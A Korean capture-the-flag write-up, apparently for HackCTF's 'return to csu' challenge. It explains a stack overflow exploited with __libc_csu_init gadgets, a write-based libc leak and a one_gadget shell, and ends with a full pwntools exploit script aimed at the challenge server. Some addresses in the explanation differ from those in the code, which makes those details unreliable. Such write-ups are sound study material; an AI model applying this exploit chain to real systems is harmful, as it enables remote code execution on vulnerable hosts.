# description
return to csu 문제이다.
# code
read로 buf에 입력받는데 return address를 덮을 수 있을만큼 충분히 입력받는다.
# process
1. loc_4006B6 주소(0x4006b6)로 return address를 덮는다.
- 리턴 시 이 곳으로 이동할 것이다.
2. 우리는 0x4006a0 주소의 rdx, rsi, edi 레지스터들을 사용하기 위해 r13, r14, r15에 적절히 원하는 값을 넣어야 한다.
mov rdx, r13 : r13 값을 rdx 레지스터에 적는다.
mov rsi, r14 : r14 값을 rsi 레지스터에 적는다.
mov edi, r15d : r15 값을 edi 레지스터에 적는다.
call qword ptr [r12+rbx*8] : r12 + rbx*8 주소에 적힌 주소를 호출한다. 따라서 r12에 원하는 함수 주소를 주려면 got를 줘야한다. 그리고 r12에 적힌 것만 호출하면 되므로 rbx = 0으로 준다.
add rbx, 1 : rbx에 1을 넣고
cmp rbx, rbp : rbx와 rbp 비교
jnz short loc_4006a0 : 위에서 rbx와 rbp가 같아야 수행.
따라서 일단 write(1, read@got, 8) 로 libc leak을 해서 one gadget 주소를 구해야 한다.
그럼 0x4006b6의 레지스터에는 다음과 같은 값들을 넣어야 한다.
add rsp, 8 : 8바이트 이동
pop rbx -> rbx = 0
pop rbp -> rbp = 1 (rbx와 같아야 하므로)
pop r12 -> r12 = write@got (write_plt을 호출하게 된다.)
pop r13 -> r13 = 8 (read@got 크기)
pop r14 -> r14 = read@got
pop r15 -> r15 = 1
retn -> 리턴할 주소. 0x4006a0을 줘서 각 넣은 레지스터들 값으로 write(1, read@got, 8) 진행한다.
3. libc leak
4. 그리고 다시 main 함수를 호출한다.
- main 호출 전 0x4007b6 코드 길이만큼 offset을 준다.
- 8바이트 씩 총 7개이므로 56바이트의 offset을 준다.
5. read로 return address를 onegadget으로 덮어서 onegadget을 실행한다.
# exploit code
#!/usr/bin/python
from pwn import *
#context.log_level= 'debug'
#p = process("./rtc", env={'LD_PRELOAD' : './libc.so.6'})
p = remote("ctf.j0n9hyun.xyz", 3025)
elf = ELF("./rtc")
libc = ELF("./libc.so.6")
write_got = elf.got['write']
read_got = elf.got['read']
main = 0x4005f6
rbx = 0
rbp = 1
r12 = write_got
r13 = 8
r14 = read_got
r15 = 1
pay = 'A'*(0x40 + 0x8) + p64(0x4006ba)
pay += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(read_got) + p64(1) + p64(0x4006a0)
pay += 'A'*8*7 + p64(main)
#gdb.attach(p)
p.sendlineafter("\n", pay)
read = u64(p.recv(8))
libcBase = read - libc.symbols['read']
one_gadget = libcBase + 0xf02a4
pay = 'A'*(0x40+0x8) + p64(one_gadget) + '\x00'*0x100
p.sendlineafter("\n", pay)
p.interactive()
# exploit
[HackCTF] 풍수지리설 (0) | 2020.02.28 |
---|---|
[HackCTF] Register (0) | 2020.02.10 |
[HackCTF] You are silver (0) | 2020.01.31 |
[HackCTF] Look at me (sysrop) (0) | 2020.01.31 |
[HackCTF] SysROP (0) | 2020.01.30 |